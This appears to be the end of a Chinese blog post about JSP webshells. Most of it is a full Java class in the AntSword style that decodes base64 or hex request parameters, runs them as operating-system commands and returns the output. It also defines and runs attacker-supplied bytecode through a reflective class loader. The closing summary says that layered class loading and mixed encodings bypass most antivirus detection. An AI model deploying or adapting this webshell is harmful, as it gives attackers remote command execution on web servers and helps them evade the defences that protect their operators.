import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class Exec {
  public HttpServletRequest request = null;

  public HttpServletResponse response = null;

  public String encoder = "base64";

  public String cs = "antswordCharset";

  public String randomPrefix = "antswordrandomPrefix";

  public String decoderClassdata;

  public boolean equals(Object paramObject) {
    parseObj(paramObject);
    StringBuffer stringBuffer = new StringBuffer();
    String str1 = "->|";
    String str2 = "|<-";
    String str3 = "antswordargbin";
    String str4 = "antswordargcmd";
    String str5 = "antswordargenv";
    String str6 = "antswordargdecoder";
    try {
      this.response.setContentType("text/html");
      this.request.setCharacterEncoding(this.cs);
      this.response.setCharacterEncoding(this.cs);
      String str7 = decode(this.request.getParameter(str3));
      String str8 = decode(this.request.getParameter(str4));
      String str9 = decode(this.request.getParameter(str5));
      this.decoderClassdata = decode(this.request.getParameter(str6));
      stringBuffer.append(ExecuteCommandCode(str7, str8, str9));
    } catch (Exception exception) {
      stringBuffer.append("ERROR:// " + exception.toString());
    } 
    try {
      this.response.getWriter().print(str1 + asoutput(stringBuffer.toString()) + str2);
    } catch (Exception exception) {}
    return true;
  }

  String decode(String paramString) throws Exception {
    int i = 0;
    try {
      i = Integer.parseInt(this.randomPrefix);
      paramString = paramString.substring(i);
    } catch (Exception exception) {
      i = 0;
    } 
    if (this.encoder.equals("hex")) {
      if (paramString == null || paramString.equals(""))
        return ""; 
      String str1 = "0123456789ABCDEF";
      paramString = paramString.toUpperCase();
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(paramString.length() / 2);
      String str2 = "";
      for (byte b = 0; b < paramString.length(); b += 2) {
        str2 = str2 + (str1.indexOf(paramString.charAt(b)) << 4 | str1.indexOf(paramString.charAt(b + 1))) + ",";
        byteArrayOutputStream.write(str1.indexOf(paramString.charAt(b)) << 4 | str1.indexOf(paramString.charAt(b + 1)));
      } 
      return byteArrayOutputStream.toString(this.cs);
    } 
    if (this.encoder.equals("base64"))
      return new String(Base64DecodeToByte(paramString), this.cs); 
    return paramString;
  }

  public String ExecuteCommandCode(String paramString1, String paramString2, String paramString3) throws Exception {
    StringBuffer stringBuffer = new StringBuffer();
    String[] arrayOfString1 = { paramString1, !isWin() ? "-c" : "/c", paramString2 };
    Map<String, String> map = System.getenv();
    HashMap<String, String> hashMap = new HashMap<String, String>(map);
    String[] arrayOfString2 = paramString3.split("\\|\\|\\|asline\\|\\|\\|");
    for (byte b1 = 0; b1 < arrayOfString2.length; b1++) {
      String[] arrayOfString = arrayOfString2[b1].split("\\|\\|\\|askey\\|\\|\\|");
      if (arrayOfString.length == 2)
        hashMap.put(arrayOfString[0], arrayOfString[1]); 
    } 
    String[] arrayOfString3 = new String[hashMap.size()];
    byte b2 = 0;
    for (String str : hashMap.keySet()) {
      arrayOfString3[b2] = str + "=" + (String)hashMap.get(str);
      b2++;
    } 
    Process process = Runtime.getRuntime().exec(arrayOfString1, arrayOfString3);
    CopyInputStream(process.getInputStream(), stringBuffer);
    CopyInputStream(process.getErrorStream(), stringBuffer);
    return stringBuffer.toString();
  }

  boolean isWin() {
    String str = System.getProperty("os.name");
    str = str.toLowerCase();
    return str.startsWith("win");
  }

  void CopyInputStream(InputStream paramInputStream, StringBuffer paramStringBuffer) throws Exception {
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(paramInputStream, this.cs));
    String str;
    while ((str = bufferedReader.readLine()) != null)
      paramStringBuffer.append(str + "\r\n"); 
    bufferedReader.close();
  }

  public void parseObj(Object paramObject) {
    if (paramObject.getClass().isArray()) {
      Object[] arrayOfObject = (Object[])paramObject;
      this.request = (HttpServletRequest)arrayOfObject[0];
      this.response = (HttpServletResponse)arrayOfObject[1];
    } else {
      try {
        Class<?> clazz = Class.forName("javax.servlet.jsp.PageContext");
        this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(paramObject, new Object[0]);
        this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(paramObject, new Object[0]);
      } catch (Exception exception) {
        if (paramObject instanceof HttpServletRequest) {
          this.request = (HttpServletRequest)paramObject;
          try {
            Field field1 = this.request.getClass().getDeclaredField("request");
            field1.setAccessible(true);
            HttpServletRequest httpServletRequest = (HttpServletRequest)field1.get(this.request);
            Field field2 = httpServletRequest.getClass().getDeclaredField("response");
            field2.setAccessible(true);
            this.response = (HttpServletResponse)field2.get(httpServletRequest);
          } catch (Exception exception1) {
            try {
              this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(paramObject, new Object[0]);
            } catch (Exception exception2) {}
          } 
        } 
      } 
    } 
  }

  public String asoutput(String paramString) {
    try {
      byte[] arrayOfByte = Base64DecodeToByte(this.decoderClassdata);
      Method method = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
      method.setAccessible(true);
      Class<T> clazz = (Class)method.invoke(getClass().getClassLoader(), new Object[] { arrayOfByte, Integer.valueOf(0), Integer.valueOf(arrayOfByte.length) });
      return clazz.getConstructor(new Class[] { String.class }).newInstance(new Object[] { paramString }).toString();
    } catch (Exception exception) {
      return paramString;
    } 
  }

  public byte[] Base64DecodeToByte(String paramString) {
    byte[] arrayOfByte = null;
    String str = System.getProperty("java.version");
    try {
      if (str.compareTo("1.9") >= 0) {
        Class<?> clazz = Class.forName("java.util.Base64");
        Object object = clazz.getMethod("getDecoder", new Class[0]).invoke((Object)null, new Object[0]);
        arrayOfByte = (byte[])object.getClass().getMethod("decode", new Class[] { String.class }).invoke(object, new Object[] { paramString });
      } else {
        Class<?> clazz = Class.forName("sun.misc.BASE64Decoder");
        arrayOfByte = (byte[])clazz.getMethod("decodeBuffer", new Class[] { String.class }).invoke(clazz.newInstance(), new Object[] { paramString });
      } 
      return arrayOfByte;
    } catch (Exception exception) {
      return new byte[0];
    } 
  }
}

总结

  1. 通过 classLoad 的方式，其实可以动态加载好几层；
  2. 结合不同编码、混合编码、classLoad 基本可以绕过大部分查杀
最后修改：2025 年 01 月 18 日
© 允许规范转载
如果觉得我的文章对你有用，请随意赞赏